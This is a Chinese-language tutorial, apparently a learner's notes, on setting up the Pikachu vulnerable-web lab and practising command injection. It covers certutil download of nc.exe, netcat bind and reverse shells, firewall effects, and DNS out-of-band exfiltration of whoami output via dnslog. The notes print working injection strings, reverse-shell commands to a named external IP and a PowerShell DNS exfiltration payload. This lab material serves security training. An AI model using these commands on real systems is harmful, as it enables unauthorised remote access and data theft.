反弹shell数据不回显带外查询pikaqiu靶场搭建
P1 文件上传下载(解决无图形化和解决数据传输)
解决无图形化:
当我们想下载一个文件时,通常是通过浏览器的一个链接直接访问网站点击下载的,但是在实际的安全测试中,我们获取的权限只是一个执行命令的窗口,无法获取图形化界面,因此,我们就需要命令来实现文件的上传和下载。
比如,当我们想上传一个文件到对方的服务器,我们应该想办法用命令让对方执行下载操作,而不可能直接打开对方的服务器的浏览器去下载,因为我们没有获取这样的权限,只能通过黑窗窗输入命令尝试。
- 先建一个网站,把nc.exe 上传到网站上,上传后访问一下看能否正常下载  
- 确认访问网站可下载后,再在棱角社区文件下载模块中根据操作系统选择相应的下载命令 
 windows下载: 
 centos下载: 
-  文件下载的作用:
 解决渗透环境中没有图形化界面权限,但需要把安全脚本工具传到对方的服务器
 思路:在自己的服务器上上传安全测试工具脚本或后门脚本,构造下载的IP地址,让对方远程用命令把需要的文件下载到它的服务器上
- 实际应用:反弹shell有编程语言反弹、有自带工具反弹的、有安全工具类反弹的 
-  反弹是干啥用的?为什么要进行反弹?反弹的应用场景
 假设你在网上找到一个漏洞,这个漏洞需要你去执行命令,执行完之后,需要等待你的输入继续向下执行,就像网站你输入命令执行了,但它不会把界面给到你,相当于你的命令会一直卡在那里。这是反弹命令可以解决的:它可以把对方的界面反弹到你这边,你就可以输入命令继续向下执行了
 反弹可以解决数据通讯问题:
 比如:你在网站上一直提交提交,就一直有流量过去,但如果你把权限反弹回来以后,就相当于你在本地执行一样
- 正向连接和反向连接
 反弹中一个重要的知识点就是正向连接和反向连接,正向:主动找别人;反向:让别人主动找自己;正向连接和反向连接关键是看以谁为基础
 假设有一台linux和一台Windows的服务器,以Windows服务器为基准,Windows服务器主动连接linux就是正向连接,Linux主动连接Windows服务器是反向连接
 正向连接
 以linux为基准,Linux主动连接Windows服务器是正向连接,Windows服务器主动连接linux就是反向连接。
 实验:正向实验
 linux主动连接Windows服务器
 linux->windows
 //绑定cmd到本地的5566端口
 nc -e cmd -lvvp 5566
 //主动连接目标的5566
 ncat 8.218.177.129 5566
 反向连接
 linux控制windows服务器的cmd
 linux主动连接windows,
 windows服务器需要先下载nc.exe
 cmd要回到nc.exe文件所在的目录才能正常执行
 cmd要回到nc.exe文件所在的目录才能正常执行
 ps:如果使用的是阿里云之类的云服务器,5566访问不通可能是基于不同厂商的网络安全策略导致,需要访问云服务器的后台增加对应的规则。  
 nc -e cmd -lvvp 5566
 绑定cmd到本地端口的5566
 服务器执行上述命令后
 linux执行以下命令:
 nc 8.218.177.219 5566  
 这样Windows服务器的cmd窗口就反弹到了linux 
 Windows服务器输入:
 命令:nc -l -p 5566 -t -e c:\windows\system32\cmd.exe
 命令解释:本地监听 5354 端口,当有连接进入时,将 -e 指定的 c:\windows\system32\cmd.exe ( 就是个shell ) 主动响应 到 连接者。连接者 就可以进入被连接者的 cmd。( 反弹 shell 原理 )
 因为我用的Windows和Linux都是阿里云平台的,因此,需要在阿里云服务器的安全组策略中添加5566端口,两个服务器都要添加,否则端口数据会被防火墙拦截导致连接超时
 如果是虚拟机的话,需要关闭防火墙
- 反向连接
 windows控制linux
 //绑定SH到本地的5566端口
 nc -e /bin/sh -lvvp 5566
 //主动连接目标的5566
 nc 172.18.119.236 5566
 linux系统一般都有 NC 的,但是 - e 选项一般都默认不编译。NC不使用-e选项反弹shell   
- 什么时候用正向连接什么时候用反向连接呢?
 打开我的一台Windows虚拟机
 在虚拟机时属于内网的
 而我们aliyun服务器的Linux是属于外网的
 外网找内网的实验
 虚拟机开启监听nc -lvvp 5566
 linux 连接虚拟机的5566端口
 是连不上的
 此时,对于linux而言,Linux正向连接Windows是连不上的
 就要尝试反向连接
 让虚拟机(内网 )主动把cmd给到linux
 虚拟机:nc -e cmd linux的IP 5566
 这就是正向反向连接的应用价值,什么时候用正向连接,什么时候用反向连接,你要根据网络决定
 那么现在,如果是内网(虚拟机)控制linux应该怎么操作呢?
- 管道符的使用
 利用管道符可以执行多条命令管道符:| (管道符号) ||(逻辑或) &&(逻辑与) &(后台任务符号)Windows->| & || && Linux->; | || & && ``(特有``和;) 例子: ping -c 1 127.0.0.1 ; whoami ping -c 1 127.0.0.1 | whoami ping -c 1 127.0.0.1 || whoami ping -c 1 127.0.0.1 & whoami ping -c 1 127.0.0.1 && whoami ping -c 1 127.0.0.1 `whoami` 
P2 漏洞靶场搭建-皮卡丘
- 安装phpstudy,打开phpstudy网站目录设置,将目录设置为皮卡丘靶场源码的根目录位置,设置完后重启phpstudy,  
- 设置完后重启phpstudy,打开皮卡丘原版里的inc文件夹,里面的config.inc.php文件,将数据库的密码也改为root,保存后重启phpstudy 
- 进入浏览器访问靶场的安装页面,即在网站中访问install.php文件,进入后点击安装初始化 
 显示如下界面表明皮卡丘靶场已经搭建成功,点击“点击这里”连接即可进入靶场 
 
P3 皮卡丘靶场实战&反弹shell/正向连接/反向连接
-  防火墙关闭情况下的反弹shell第一步:判断操作系统类型   
 第二部:判断出是Windows操作系统后需要上传nc
 01 棱角社区查找下载命令  
 02 打开皮卡丘靶场下的RCE下的exec “ping”,在右边的框框中输入下载命令点击ping127.0.0.1 |certutil.exe -urlcache -split -f http://8.218.177.129:80/nc.exe nc.exe  
 03 通过nc进行反弹shell
 正向:
 皮卡丘将自己的cmd绑定到本地的5566端口,linux主动连接皮卡丘服务器的5566端口
 注:8.218.177.129是靶场所在服务器的IP地址 
 反向:
 linux监听5566端口,皮卡丘主动给出自己的cmd给到linux的5566端口linux: nc -lvvp 5566 pikaqiu靶场: 127.0.0.1 | c:\\nc.exe 121.40.222.191 5566 -e cmd 注:121.40.222.191是我的Linux云服务器的外网IP 
-  防火墙开启情况下的反弹shell
-  防火墙策略入站规则中阻止5566端口连接  
 以linux为基准,linux->windows正向连接不成功 ,windows->linux反向连接成功(原因是防火墙策略入站检测严格而出站检测宽松,入站阻止了5566端口连接)  防火墙策略出站规则中阻止5566端口连接,删除入站规则限制,添加出站规则限制后,反向连接不能反弹,正向连接也不能反弹 防火墙策略出站规则中阻止5566端口连接,删除入站规则限制,添加出站规则限制后,反向连接不能反弹,正向连接也不能反弹
 因为防火墙只允许设置入站规则的端口进行通信
 如果在入站规则中添加允许5566端口连接的话,正向反向的连接情况会是怎样的呢?
 如果在入站规则中允许5566端口访问的话,出站规则中限制5566端口的话,正向连接可以成功反弹,反向连接不能成功反弹   
P4 带外查询
-  什么是带外查询?带外查询有什么用?
-  正常情况下在靶场命令框输入whoami的结果是这样的 ,但是如果没有任何结果输出时怎么办呢?这时就需要用到带外查询了!!!  所谓带外查询就是当输入命令没有正常回显的时候,通过其他方法将命令执行的结果回显出来。 
-  带外查询的应用场景
-  我想知道靶场的服务器是什么操作类型,这时候在ping框框中输入whoami,但是没有任何结果显示,那我怎么才能知道结果呢?带外查询,通过带外查询能将whoami的结果带出来,显示出来。 
-  通过Windows的powershell理解带外查询
-  01 访问dnslog.cn 02 Windows中的PowerShell   03 dnslog浏览器点击Refresh Record刷新,根据结果“admin”我们知道操作系统是windows  
-  pikaqiu靶场带外查询127.0.0.1 | powershell $x=whoami;$x=$x.Replace('\','xxx');$y='.jazxdx.dnslog.cn';$z=$x+$y;ping $zdnslog结果回显  
相关文章:
 
反弹shell数据不回显带外查询pikaqiu靶场搭建
P1 文件上传下载(解决无图形化和解决数据传输) 解决无图形化: 当我们想下载一个文件时,通常是通过浏览器的一个链接直接访问网站点击下载的,但是在实际的安全测试中,我们获取的权限只是一个执行命令的窗口…...
 
按键修改阈值功能、报警功能、空气质量功能实现
按键修改阈值功能 要使用按键,首先要定义按键。通过查阅资料,可知按键的引脚如图所示:按键1(S1)通过KEY0与PA0连接,按键2(S2)通过KEY1与PE2连接,按键3(S3&…...
 
spring重点整理篇--springMVC(嘿嘿,开心哟)
Spring MVC是的基于JavaWeb的MVC框架,是Spring框架中的一个组成部分(WEB模块) MVC设计模式: Controller(控制器) Model(模型) View(视图) 重点来了😄 SpringMVC的工作机制…...
图像融合评估指标Python版
图像融合评估指标Python版 这篇博客利用Python把大部分图像融合指标基于图像融合评估指标复现了,从而方便大家更好的使用Python进行指标计算,以及一些I/O 操作。除了几个特征互信息的指标没有成功复现之外,其他指标均可以通过这篇博客提到的P…...
20230303----重返学习-函数概念-函数组成-函数调用-形参及匿名函数及自调用函数
day-019-nineteen-20230303-函数概念-函数组成-函数调用-形参及匿名函数及自调用函数 变量 变量声明 变量 声明定义(赋值) var num;num 100; 声明与赋值分开var num 100; 声明时就赋值 赋值只能声明一次,可以赋值无数次 变量声明关键词 varconstletclassfunctio…...
 
Java面试题总结
文章目录前言1、JDK1.8 的新特性有哪些?2、JDK 和 JRE 有什么区别?3、String,StringBuilder,StringBuffer 三者的区别?4、为什么 String 拼接的效率低?5、ArrayList 和 LinkedList 有哪些区别?6…...
 
深圳大学计软《面向对象的程序设计》实验7 拷贝构造函数与复合类
A. Point&Circle(复合类与构造) 题目描述 类Point是我们写过的一个类,类Circle是一个新的类,Point作为其成员对象,请完成类Circle的成员函数的实现。 在主函数中生成一个圆和若干个点,判断这些点与圆的位置关系,…...
Java的JVM(Java虚拟机)参数配置
JVM原理 (1)jvm是java的核心和基础,在java编译器和os平台之间的虚拟处理器,可在上面执行字节码程序。 (2)java编译器只要面向jvm,生成jvm能理解的字节码文件。java源文件经编译成字节码程序&a…...
leetcode 困难 —— 数据流的中位数(优先队列)
题目: 中位数是有序整数列表中的中间值。如果列表的大小是偶数,则没有中间值,中位数是两个中间值的平均值。 例如 arr [2,3,4] 的中位数是 3 。 例如 arr [2,3] 的中位数是 (2 3) / 2 2.5 。 实现 MedianFinder 类: MedianFinder() 初始化…...
 
7个常用的原生JS数组方法
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 7个常用的原生JS数组方法一、Array.map()二、Array.filter三、Array.reduce四、Array.forEach五、Array.find六、Array.every七、Array.some总结一、Array.map() 作用&#…...
 
一、一篇文章打好高数基础-函数
1.连续函数的性质考点分析函数的连续性主要考察函数的奇偶性、有界性、单调性、周期性。例题判断函数的奇偶性的有界区间为() A.(-1,0) B(0,1) C(1,2) D(2,3)2.闭区间上连续函数的性质考点分析闭区间上连续函数的性质主要考察函数的最大最小值定理、零点…...
 
pipenv的基本使用
一. pipenv 基础 pipenv安装: pip install pipenvpipenv常用命令 pipenv --python 3 # 创建python3虚拟环境 pipenv --venv # 查看创建的虚拟环境 pipenv install 包名 # 安装包 pipenv shell # 切换到虚拟环境中 pip list # 查看当前已经安装的包࿰…...
 
OpenCV入门(三)快速学会OpenCV2图像处理基础
OpenCV入门(三)快速学会OpenCV2图像处理基础 1.颜色变换cvtColor imgproc的模块名称是由image(图像)和process(处理)两个单词的缩写组合而成的,是重要的图像处理模块,主要包括图像…...
 
基于PySide6的MySql数据库快照备份与恢复软件
db-camera 软件介绍 db-camera是一款MySql数据库备份(快照保存)与恢复软件。功能上与dump类似,但是提供了相对有好的交互界面,能够有效地管理导出的sql文件。 使用场景 开发阶段、测试阶段,尤其适合单人开发的小项目…...
 
BI不是报表,千万不要混淆
商业智能BI作为商业世界的新宠儿,在市场上实现了高速增长并获得了各领域企业的口碑赞誉。 很多企业把商业智能BI做成了纯报表,二维表格的数据展现形式,也有一些简单的图表可视化。但是这些简单的商业智能BI可视化报表基本上只服务到了一线的…...
 
sizeof以及strlen的用法以及注意事项
大家都知道,在c中算字符串长度和所占空间大小事不可避免的,甚至再有的时候,我们在写代码的过程中,就会用到这些数据。比如,下面这道题 struct Test { int Num; char *pcName; short sDate; char cha[2]; short sBa[4];…...
 
数据结构-链表-单链表(3)
目录 1. 顺序表的缺陷 2. 单链表 2.1 单链表的基本结构与接口函数 2.2 重要接口 创建新节点的函数: 2.2.1 尾插 2.2.2 头插 2.2.3 尾删 2.2.4 头删 2.2.5 查找 2.2.6 插入 2.2.7 删除 2.2.8 从pos后面插入 2.2.9 从pos后面删除 3. 链表的缺陷与优势&…...
【SpringBoot初级篇】JdbcTemplate常用方法
【SpringBoot初级篇】JdbcTemplate常用方法JdbcTemplate 查询JdbcTemplate 插入、更新、删除execute执行任意的SQLNamedParameterJdbcTemplate函数场景说明update(String sql, Nullable Object… args)增,删,改queryForObject(sql, Integer.class)查询返…...
 
React(三):脚手架、组件化、生命周期、父子组件通信、插槽、Context
React(三)一、脚手架安装和创建1.安装脚手架2.创建脚手架3.看看脚手架目录4.运行脚手架二、脚手架下从0开始写代码三、组件化1.类组件2.函数组件四、React的生命周期1.认识生命周期2.图解生命周期(1)Constructor(2&…...
[教程]使用 Git 克隆指定分支
Git 是我们开发过程中经常使用到的版本管理工具,在平常情况下我们从远程克隆的时候会将整个库克隆下来,这会包括整个版本库的历史提交记录和远程库里的所有分支。但在一些情况下,比如我们并不需要查看历史提交记录而只是希望能够获取到最新的代码&#x…...
rnn判断string中第一次出现a的下标
# coding:utf8 import torch import torch.nn as nn import numpy as np import random import json""" 基于pytorch的网络编写 实现一个RNN网络完成多分类任务 判断字符 a 第一次出现在字符串中的位置 """class TorchModel(nn.Module):def __in…...
 
Python基于历史模拟方法实现投资组合风险管理的VaR与ES模型项目实战
说明:这是一个机器学习实战项目(附带数据代码文档),如需数据代码文档可以直接到文章最后关注获取。 1.项目背景 在金融市场日益复杂和波动加剧的背景下,风险管理成为金融机构和个人投资者关注的核心议题之一。VaR&…...
 
FFmpeg:Windows系统小白安装及其使用
一、安装 1.访问官网 Download FFmpeg 2.点击版本目录 3.选择版本点击安装 注意这里选择的是【release buids】,注意左上角标题 例如我安装在目录 F:\FFmpeg 4.解压 5.添加环境变量 把你解压后的bin目录(即exe所在文件夹)加入系统变量…...
深入浅出Diffusion模型:从原理到实践的全方位教程
I. 引言:生成式AI的黎明 – Diffusion模型是什么? 近年来,生成式人工智能(Generative AI)领域取得了爆炸性的进展,模型能够根据简单的文本提示创作出逼真的图像、连贯的文本,乃至更多令人惊叹的…...
 
渗透实战PortSwigger靶场:lab13存储型DOM XSS详解
进来是需要留言的,先用做简单的 html 标签测试 发现面的</h1>不见了 数据包中找到了一个loadCommentsWithVulnerableEscapeHtml.js 他是把用户输入的<>进行 html 编码,输入的<>当成字符串处理回显到页面中,看来只是把用户输…...
 
【UE5 C++】通过文件对话框获取选择文件的路径
目录 效果 步骤 源码 效果 步骤 1. 在“xxx.Build.cs”中添加需要使用的模块 ,这里主要使用“DesktopPlatform”模块 2. 添加后闭UE编辑器,右键点击 .uproject 文件,选择 "Generate Visual Studio project files",重…...
全面解析数据库:从基础概念到前沿应用
在数字化时代,数据已成为企业和社会发展的核心资产,而数据库作为存储、管理和处理数据的关键工具,在各个领域发挥着举足轻重的作用。从电商平台的商品信息管理,到社交网络的用户数据存储,再到金融行业的交易记录处理&a…...
 
在 Visual Studio Code 中使用驭码 CodeRider 提升开发效率:以冒泡排序为例
目录 前言1 插件安装与配置1.1 安装驭码 CodeRider1.2 初始配置建议 2 示例代码:冒泡排序3 驭码 CodeRider 功能详解3.1 功能概览3.2 代码解释功能3.3 自动注释生成3.4 逻辑修改功能3.5 单元测试自动生成3.6 代码优化建议 4 驭码的实际应用建议5 常见问题与解决建议…...
 
《信号与系统》第 6 章 信号与系统的时域和频域特性
目录 6.0 引言 6.1 傅里叶变换的模和相位表示 6.2 线性时不变系统频率响应的模和相位表示 6.2.1 线性与非线性相位 6.2.2 群时延 6.2.3 对数模和相位图 6.3 理想频率选择性滤波器的时域特性 6.4 非理想滤波器的时域和频域特性讨论 6.5 一阶与二阶连续时间系统 6.5.1 …...
shell脚本质数判断
shell脚本质数判断 shell输入一个正整数,判断是否为质数(素数)shell求1-100内的质数shell求给定数组输出其中的质数 shell输入一个正整数,判断是否为质数(素数) 思路: 1:1 2:1 2 3:1 2 3 4:1 2 3 4 5:1 2 3 4 5-------> 3:2 4:2 3 5:2 3…...
